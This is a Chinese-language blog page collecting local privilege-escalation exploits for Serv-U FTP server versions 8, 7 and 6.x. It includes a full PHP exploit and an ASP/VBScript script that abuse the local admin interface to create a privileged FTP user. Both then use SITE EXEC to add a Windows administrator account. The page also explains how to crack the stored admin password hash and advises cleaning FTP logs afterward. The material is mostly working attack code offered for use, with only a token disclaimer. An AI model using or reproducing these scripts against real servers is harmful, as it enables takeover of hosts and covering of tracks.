Posts tagged Serv-U

serv-u8 本地提权

发布日期:2009-08-05

更新日期:2009-08-05
受影响系统:

serv-u8

不受影响系统:

其他版本不受影响

描述:

看cnbeta发现su出8这个版本了。

想想以前写过一个7的本地提权。

不知道8有什么安全方面的更改。

下载来研究下,发现居然还是可以提权的,只是su7的那个不能直接用,稍微修改了下执行的流程。

Su8的管理平台是http的,继承了su7的方式。
抓包,分析,发现了以下路程是可以利用的。
1, 管理员从管理控制台打开web页面时,是不需要验证密码的。
2, 管理员如果用某URL打开web页面时,虽然需要输入密码,但是无论输入什么,都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3, 管理员可以添加用户有两种,一种是全局用户,一种是某个域下的用户。而权限设置也是两种,一种是全局,一种是针对用户。
4, 管理员添加了用户的这个包和设置权限这个包,是分开的。
所以,我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆,exec命令。达到提权。
前面su7已经说了很多,这里简单的说下好了。
…..登陆什么的。
1,获取ID。
2,给这个id添加权限。
3,给这个id赋予用户名,密码,目录,权限。
4,登陆后执行系统命令。

这段代码是不能直接当工具使用的。

<*来源:kxlzx(www.inbreak.net
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

PHP代码

  1. <?
  2. /*
  3. serv-u 8 local exp ver 1.0
  4. 如果你在自己的服务器上发现这个文件,厄。。。那太遗憾了,别来找我。
  5. 这个文件到处都是,人人都能拿到。
  6. */
  7. ?>
  8. <html>
  9. <title>Serv-u 8 local exp ver 1.0</title>
  10. <body>
  11. <script>
  12. function fun_showDiv(show)
  13. {
  14. document.getElementById(show).style.display=”block”;
  15. }
  16. </script>
  17. <b>Serv-u 8 local exp ver 1.0</b>
  18. <form id=”form1″ name=”form1″ method=”post” action=”?”>
  19. <p><a href=”#” onclick=”fun_showDiv(‘adminpassdiv’)”>管理员密码</a>
  20. <input type=”text” name=”admin_pwd” value=”" />
  21. </p>
  22. <p>直接提权!
  23. <input type=”submit” name=”cmd” value=”提权” />
  24. <a href=”#” onclick=”fun_showDiv(‘QAdiv’)”>QA</a>
  25. </p>
  26. <pre>
  27. <?
  28. //Global var
  29. $port=43958;
  30. $host=”127.0.0.1″;
  31. $sessionid=”";
  32. $getuserid=”";
  33. $ftpport=21;
  34. $ftpuser=”lalala_hacked”;
  35. $ftppwd=$_POST['admin_pwd'];
  36. $exec_addUser=”site exec c:/windows/system32/net.exe user “.$ftpuser.” “.$ftppwd.” /add”;
  37. $exec_addGroup=”site exec c:/windows/system32/net.exe localgroup administrators “.$ftpuser.”  /add”;
  38. if($_POST['cmd']) {
  39. //login—————————————–
  40. $sock_login = fsockopen($host, $port);
  41. $URL=’/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543′;
  42. $post_data_login['user'] = “”;
  43. $post_data_login['pword'] = $ftppwd;
  44. $post_data_login['language'] = “zh%2CCN&”;
  45. $ref=”http://”.$host.”:”.$port.”/?Session=39893&Language=zh,CN&LocalAdmin=1″;
  46. $postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);
  47. fputs($sock_login, $postStr);
  48. $result = fread($sock_login, 1280);
  49. $sessionid = getmidstr(“<sessionid>”,”</sessionid>”,$result);
  50. if ($sessionid!=”")
  51. echo “登陆成功!”;
  52. fclose($sock_login);
  53. //login—————————————–
  54. //getOrganizationId——————————-
  55. $OrganizationId=”";
  56. $sock_OrganizationId = fsockopen($host, $port);
  57. $URL=’/Admin/ServerUsers.htm?Page=1′;
  58. $postStr = createRequest($port,$host,$URL,”",$sessionid,”");
  59. fputs($sock_OrganizationId, $postStr);
  60. $resultOrganizationId=”";
  61. while(!feof($sock_OrganizationId)) {
  62. $result = fread($sock_OrganizationId, 1024);
  63. $resultOrganizationId=$resultOrganizationId.$result;
  64. }
  65. $strTmp = “OrganizationUsers.xml&ID=”;
  66. $OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);
  67. $OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,”\”"));
  68. fclose($sock_OrganizationId);
  69. if ($OrganizationId!=”")
  70. echo “获取OrganizationId”.$OrganizationId.”成功!”;
  71. //getOrganizationId——————————-
  72. //getuserid—————————————
  73. $getuserid=”";
  74. $sock_getuserid = fsockopen($host, $port);
  75. $URL=”/Admin/XML/User.xml?Command=AddObject&Object=COrganization.”.$OrganizationId.”.User&Temp=1&Sync=546666666666666663″;
  76. $ref=”http://”.$host.”:”.$port.”/Admin/ServerUsers.htm?Page=1″;
  77. $post_data_getuserid=”";
  78. $postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);
  79. fputs($sock_getuserid, $postStr);
  80. $result = fread($sock_getuserid, 1280);
  81. $result = getmidstr(“<var name=\”ObjectID\” val=\”",”\” />”,$result);
  82. fclose($sock_getuserid);
  83. $getuserid = $result;
  84. if ($getuserid!=”")
  85. echo “获取用户ID”.$getuserid.”成功!”;
  86. //getuserid—————————————
  87. //addpower—————————————–
  88. $sock_addpower = fsockopen($host, $port);
  89. $URL=”/Admin/XML/Result.xml?Command=AddObject&Object=CUser.”.$getuserid.”.DirAccess&Sync=1227081437828″;
  90. $post_data_addpower['Access'] = “7999″;
  91. $post_data_addpower['MaxSize'] = “0″;
  92. $post_data_addpower['Dir'] = “c:\\”;
  93. $post_data_addpower['undefined'] = “undefined”;
  94. $postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,”http://127.0.0.1″.”:”.$port.”/Admin/ServerUsers.htm?Page=1″);
  95. fputs($sock_addpower, $postStr,strlen($postStr));
  96. $result = fread($sock_addpower, 1280);
  97. fclose($sock_addpower);
  98. echo “添加权限成功!”;
  99. //addpower—————————————–
  100. //adduser—————————————–
  101. $sock_adduser = fsockopen($host, $port);
  102. $URL=”/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization.”.$OrganizationId.”.User.”.$getuserid.”&Sync=1227071190250″;
  103. $post_data_adduser['LoginID'] = $ftpuser;
  104. $post_data_adduser['FullName'] = “”;
  105. $post_data_adduser['Password'] = ‘hahaha’;
  106. $post_data_adduser['ComboPasswordType'] = “%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81″;
  107. $post_data_adduser['PasswordType'] = “0″;
  108. $post_data_adduser['ComboAdminType'] = “%E6%97%A0%E6%9D%83%E9%99%90″;
  109. $post_data_adduser['AdminType'] = “”;
  110. $post_data_adduser['ComboHomeDir'] = “/c:”;
  111. $post_data_adduser['HomeDir'] = “/c:”;
  112. $post_data_adduser['ComboType'] = “%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7″;
  113. $post_data_adduser['Type'] = “0″;
  114. $post_data_adduser['ExpiresOn'] = “0″;
  115. $post_data_adduser['ComboWebClientStartupMode'] = “%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF”;
  116. $post_data_adduser['WebClientStartupMode'] = “”;
  117. $post_data_adduser['LockInHomeDir'] = “0″;
  118. $post_data_adduser['Enabled'] = “1″;
  119. $post_data_adduser['AlwaysAllowLogin'] = “1″;
  120. $post_data_adduser['Description'] = “”;
  121. $post_data_adduser['IncludeRespCodesInMsgFiles'] = “”;
  122. $post_data_adduser['ComboSignOnMessageFilePath'] = “”;
  123. $post_data_adduser['SignOnMessageFilePath'] = “”;
  124. $post_data_adduser['SignOnMessage'] = “”;
  125. $post_data_adduser['SignOnMessageText'] = “”;
  126. $post_data_adduser['ComboLimitType'] = “%E8%BF%9E%E6%8E%A5″;
  127. $post_data_adduser['LimitType'] = “Connection”;
  128. $post_data_adduser['QuotaBytes'] = “0″;
  129. $post_data_adduser['Quota'] = “0″;
  130. $post_data_adduser['Access'] = “7999″;
  131. $post_data_adduser['MaxSize'] = “0″;
  132. $post_data_adduser['Dir'] = “%25HOME%25″;
  133. $postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,”http://127.0.0.1″.”:”.$port.”/Admin/ServerUsers.htm?Page=1″);
  134. fputs($sock_adduser, $postStr,strlen($postStr));
  135. $result = fread($sock_adduser, 1280);
  136. fclose($sock_adduser);
  137. echo “添加用户成功!”;
  138. //adduser—————————————–
  139. //exec——————————-
  140. $sock_exec = fsockopen(“127.0.0.1″, $ftpport, &$errno, &$errstr, 10);
  141. $recvbuf = fgets($sock_exec, 1024);
  142. $sendbuf = “USER “.$ftpuser.”";
  143. fputs($sock_exec, $sendbuf, strlen($sendbuf));
  144. $recvbuf = fgets($sock_exec, 1024);
  145. $sendbuf = “PASS hahaha”;
  146. fputs($sock_exec, $sendbuf, strlen($sendbuf));
  147. $recvbuf = fgets($sock_exec, 1024);
  148. $sendbuf = $exec_addUser.”";
  149. fputs($sock_exec, $sendbuf, strlen($sendbuf));
  150. $recvbuf = fread($sock_exec, 1024);
  151. echo “执行”.$exec_addUser.”返回了$recvbuf”;
  152. fclose($sock_exec);
  153. $sock_exec = fsockopen(“127.0.0.1″, $ftpport, &$errno, &$errstr, 10);
  154. $recvbuf = fgets($sock_exec, 1024);
  155. $sendbuf = “USER “.$ftpuser.”";
  156. fputs($sock_exec, $sendbuf, strlen($sendbuf));
  157. $recvbuf = fgets($sock_exec, 1024);
  158. $sendbuf = “PASS hahaha”;
  159. fputs($sock_exec, $sendbuf, strlen($sendbuf));
  160. $recvbuf = fgets($sock_exec, 1024);
  161. $sendbuf = $exec_addGroup.”";
  162. fputs($sock_exec, $sendbuf, strlen($sendbuf));
  163. $recvbuf = fread($sock_exec, 1024);
  164. echo “执行”.$exec_addGroup.”返回了$recvbuf”;
  165. fclose($sock_exec);
  166. echo “好了,自己3389上去清理ftp用户日志吧!”;
  167. //exec——————————-
  168. }
  169. /** function createRequest
  170. @port_post : administrator port $port=43958;
  171. @host_post : host $host=”127.0.0.1″;
  172. @URL_post : target $URL=’/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543′;
  173. @post_data_post : arraylist $post_data['user'] = “”;…
  174. @return httprequest string
  175. */
  176. function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){
  177. $data_string=”";
  178. if ($post_data_post!=”")
  179. {
  180. foreach($post_data_post as $key=>$value)
  181. {
  182. $values[]=”$key=”.urlencode($value);
  183. }
  184. $data_string=implode(“”,$values);
  185. }
  186. $request.=”POST “.$URL_post.” HTTP/1.1″;
  187. $request.=”Host: “.$host_post.”";
  188. $request.=”Referer: “.$referer.”";
  189. $request.=”Content-type: application/x-www-form-urlencoded”;
  190. $request.=”Content-length: “.strlen($data_string).”";
  191. $request.=”User-Agent: Serv-U”;
  192. $request.=”x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)”;
  193. $request.=”Accept: */*”;
  194. $request.=”Cache-Contro: no-cache”;
  195. $request.=”UA-CPU: x86″;
  196. if ($sessionid!=”")
  197. {
  198. $request.=”Cookie: Session=”.$sessionid.”";
  199. }
  200. $request.=”";
  201. $request.=$data_string.”";
  202. return $request;
  203. }
  204. //getMidfor2str copy from internet
  205. function getmidstr($L,$R,$str)
  206. {
  207. $int_l=strpos($str,$L);
  208. $int_r=strpos($str,$R);
  209. If ($int_l>-1&&$int_l>-1)
  210. {
  211. $str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));
  212. return $str_put;
  213. }
  214. else
  215. return “没找到需要的变量”;
  216. }
  217. ?>
  218. </pre>
  219. </form>
  220. <div id=”adminpassdiv” style=”display:none”>
  221. <pre>
  222. 默认为空,如果密码为空,<b>填什么都能进去。</b>
  223. 如果修改过,管理员密码默认会在这里:
  224. <b>C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive</b>
  225. 文件中找到一个MD5密码值。
  226. C:\Program Files\RhinoSoft.com\Serv-U
  227. 是su的根目录。
  228. 密码值的样式为(假设是123456)
  229. kx#######################
  230. #代表123456的32位MD5加密,而kx则是su对md5的密码算法改进的随机2位字符。
  231. 破解后的密码为<b>kx</b>123456,去掉kx就是密码了。
  232. 你可以针对这个加密生成字典。
  233. </pre>
  234. </div>
  235. <div id=”QAdiv” style=”display:none”>
  236. <pre>
  237. <b>提权的原理?</b>
  238. Su8的管理平台是http的,继承了su7的方式。
  239. 抓包,分析,发现了以下路程是可以利用的。
  240. 1,  管理员从管理控制台打开web页面时,是不需要验证密码的。
  241. 2,  管理员如果用某URL打开web页面时,虽然需要输入密码,但是无论输入什么,都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
  242. 3,  管理员可以添加用户有两种,一种是全局用户,一种是某个域下的用户。而权限设置也是两种,一种是全局,一种是针对用户。
  243. 4,  管理员添加了用户的这个包和设置权限这个包,是分开的。
  244. 所以,我可以抓包然后转换成php的socket连接post出去。
  245. 最后在用经典的ftp登陆,exec命令。达到提权。
  246. 前面su7已经说了很多,这里简单的说下好了。
  247. …..登陆什么的。
  248. 1,获取ID。
  249. 2,给这个id添加权限。
  250. 3,给这个id赋予用户名,密码,目录,权限。
  251. 4,登陆后执行系统命令。
  252. <b>为啥我明明显示成功了,但是却提不上去?</b>
  253. 这要看错误代码了,这里偶很惭愧,并没有写详细的错误代码判断。
  254. 一般有以下几种情况:
  255. 1,可能是因为管理员密码不对。
  256. 参照管理员密码的连接。
  257. 2,可能是因为管理员限制了执行SITE EXEC。
  258. 有待程序修改,程序可以加一个让他不限制的功能。
  259. 3,可能是程序问题。
  260. </pre>
  261. </div>
  262. </body>
  263. </html>

建议:

目前厂商没有任何补丁,要不大家再等等?

不过以前SU7本地溢出推出来,也没见到什么动静。-_-!

先把本地管理密码改复杂点应付着吧。

from:http://www.inbreak.net/show-157-1.html

Serv-U(servu)7 提权技术

一,su7是提权有几种方式?
有两种形式去干掉su7。
1>,登陆管理员控制台的页面
==>获取OrganizationId,用于添加用户
==>获取全局用户的“下一个新用户ID”
==>添加用户
==>添加用户的权限 or 添加全局用户权限
==>用户登陆
==>执行系统命令添加系统账户。
2>,登陆管理员控制台页面
==>基本WEB客户端
==>来到serv-u的目录下–users–Global user目录
==>上传一个你已经定义好的用户文件
==>用户登陆
==>执行系统命令添加系统账户
而本文件使用了第一种方法。
二,提权的原理?

Su7的管理平台是http的,很先进。
抓包,分析,发现了以下路程是可以利用的。
1.管理员从管理控制台打开web页面时,是不需要验证密码的。
2.管理员如果用某URL打开web页面时,虽然需要输入密码,但是无论输入什么,都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3.管理员可以添加用户有两种,一种是全局用户,一种是某个域下的用户。而权限设置也是两种,一种是全局,一种是针对用户。
4.管理员添加了用户的这个包和设置权限这个包,是分开的。
所以,我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆,exec命令。达到提权。
在写php的过程中,遇到很多问题,比如函数不会用等等(—_—!以前没学过php),感谢“云舒牛”帮忙。。。
在分析包的流程,发现了一些特征,服务器返回的数据,全是以xml格式发来的。而在数据传输的过程中,设计的很经典。
Su7也有自己的数据库,他也会自己生成一个id。
这个ID是随机的,在你创建用户时,会先请求服务器生成一个,生成好后,修改该id的用户名,密码等。
这很像oracle的insert手段。

写工具的过程中,遇到很多麻烦,最大的麻烦就是这个ID问题,后来分析出来了。
添加权限时,也是可以利用这个ID的。
于是工具一共连接了6次服务器,这几次分别是:
1.用来登陆平台,使用那个输入任何密码都可以登陆的页面地址。返回一个sessionid,这个sessionid在以后的包都用到了。
2.获取OrganizationId,用于添加用户
3.用来请求一个用户ID。
4.修改该ID的登陆用户名,密码。
5.修改该ID的权限,加c盘的写删执行等。
6.这次连接是做坏事的,使用前面添加的用户执行系统命令。

三,为啥我明明显示成功了,但是却提不上去?

这要看错误代码了,这里偶很惭愧,并没有写详细的错误代码判断。
一般有以下几种情况:
1,可能是因为管理员密码不对。
参照管理员密码的连接。
2,可能是因为管理员限制了执行SITE EXEC。
有待程序修改,程序可以加一个让他不限制的功能。
3,可能是程序问题。
4,为啥作者有这么多理由不去改?
你没发现么?一旦把东西做完美了,那比较系统的防御方案就出来了。
如果不完美,让他以为我们就这点手段,防御系统也会这么认为。
不信的话,过段时间,防御方案出来了,肯定有一条:“修改site exec为不可访问”。
到时候,我再写个功能,把这玩意改回来就是。
所以,等大家都提倡要XXXX的时候,我再解决XXXX的问题。大家先这么玩着吧:)

四,关于管理员密码

默认为空,如果密码为空,填什么都能进去。
如果修改过,管理员密码默认会在这里:
C:Program FilesRhinoSoft.comServ-UUsersLocal Administrator Domain.Archive
文件中找到一个MD5密码值。
C:Program FilesRhinoSoft.comServ-U
是su的根目录。
密码值的样式为(假设是123456)
kx#######################
#代表123456的32位MD5加密,而kx则是su对md5的密码算法改进的随机2位字符。
破解后的密码为kx123456,去掉kx就是密码了。
你可以针对这个加密生成字典。

Serv-U 6.X 提权脚本

Author:落叶纷飞
来源:http://www.cnsst.org/
使用方法:如果是6.4以下的保持默认即可,只要按你的需要修改执行的命令即可!如果为6.4请在“服务器端口”里填21,然后再在“服务器IP”中填写服务器的真实IP

<%@ LANGUAGE = VBScript %>
<%
Dim user, pass, port, ftpport, cmd, loginuser, loginpass, deldomain, mt, newdomain, newuser, quit
dim action
action=request("action")
if not isnumeric(action) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
f=left(f,2)
end if
ftpport = ffport
timeout=3

loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=" & iip & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=leaves|" & iip & "|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=luo" & vbCrLf & "-Password=ye" & vbCrLf & _
"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf
quit = "QUIT" & vbCrLf
newuser=replace(newuser,"c:",f)
select case action
case 1
set a=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/leaves/upadmin/s1",True, "", ""
a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit
set session("a")=a
%>
<form method="post" name="leaves">
<input name="u" type="hidden" id="u" value="<%=user%>"></td>
<input name="p" type="hidden" id="p" value="<%=pass%>"></td>
<input name="port" type="hidden" id="port" value="<%=port%>"></td>
<input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
<input name="f" type="hidden" id="f" value="<%=f%>" size="50">
<input name="action" type="hidden" id="action" value="2"></form>
<script language="javascript">
document.write('<center>正在连接 127.0.0.1:<%=port%>,使用用户名: <%=user%>,口令:<%=pass%>...<center>');
setTimeout("document.all.leaves.submit();",4000);
</script>
<%
case 2
set b=Server.CreateObject("Microsoft.XMLHTTP")
b.open "GET", "http://127.0.0.1:" & ftpport & "/leaves/upadmin/s2", True, "", ""
b.send "User luo" & vbCrLf & "pass ye" & vbCrLf & "site exec " & cmd & vbCrLf & quit
set session("b")=b
%>
<form method="post" name="leaves">
<input name="u" type="hidden" id="u" value="<%=user%>"></td>
<input name="p" type="hidden" id="p" value="<%=pass%>"></td>
<input name="port" type="hidden" id="port" value="<%=port%>"></td>
<input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
<input name="f" type="hidden" id="f" value="<%=f%>" size="50">
<input name="action" type="hidden" id="action" value="3"></form>
<script language="javascript">
document.write('<center>正在提升权限,请等待...,<center>');
setTimeout("document.all.leaves.submit();",4000);
</script>
<%
case 3
set c=Server.CreateObject("Microsoft.XMLHTTP")
c.open "GET", "http://127.0.0.1:" & port & "/leaves/upadmin/s3", True, "", ""
c.send loginuser & loginpass & mt & deldomain & quit
set session("c")=c
%>
<center>提权完毕,已执行了命令:
<font color=red><%=cmd%></font>

<input type=button value=" 返回继续 " onClick="location.href='<%=gname()%>';">
</center>

<%
case else
on error resume next
set a=session("a")
set b=session("b")
set c=session("c")
a.abort
Set a = Nothing
b.abort
Set b = Nothing
c.abort
Set c = Nothing
%>
<center><form method="post" name="leaves">
<tr align="center" valign="middle">
<td colspan="2">Serv-U 6.X 提权脚本 by 落叶纷飞【S.S.T】 @ 肇庆</td>

</tr>
<tr align="center" valign="middle">
<td width="200">用户名:</td>

<td width="400"><input name="u" type="text" id="u" value="LocalAdministrator"></td>

</tr>
<tr align="center" valign="middle">
<td>口 令:</td>

<td><input name="p" type="text" id="p" value="#l@$ak#.lk;0@P"></td>

</tr>
<tr align="center" valign="middle">
<td>端 口:</td>

<td><input name="port" type="text" id="port" value="43958"></td>

服务器端口:

<td><input name="ffport" type="text" id="ffport" value="65500"></td>

服务器IP:

<td><input name="iip" type="text" id="iip" value="0.0.0.0"></td>

</tr>
<tr align="center" valign="middle">
<td&
gt;系统路径:</td>

<td><input name="f" type="text" id="f" value="<%=f%>" size="8"></td>

</tr>
<tr align="center" valign="middle">
<td>命 令:</td>

<td><input name="c" type="text" id="c" value="cmd /c net user leaves cnsst /add & net localgroup administrators leaves /add" size="50"></td>

</tr>
<tr align="center" valign="middle">
<td colspan="2"><input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
<input name="action" type="hidden" id="action" value="1"></td>
</tr>
</form></center>

使用方法:如果是6.4以下的保持默认即可,只要按你的需要修改执行的命令即可!如果为6.4请在“服务器端口”里填21,然后再在“服务器IP”中填写服务器的真实IP。
<% end select
function Gpath()
on error resume next
err.clear
set f=Server.CreateObject("Scripting.FileSystemObject")
if err.number>0 then
gpath="c:"
exit function
end if
gpath=f.GetSpecialFolder(0)
gpath=lcase(left(gpath,2))
set f=nothing
end function
Function GName()
If request.servervariables("SERVER_PORT")="80" Then
GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name"))
Else
GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name"))
End If
End Function
%>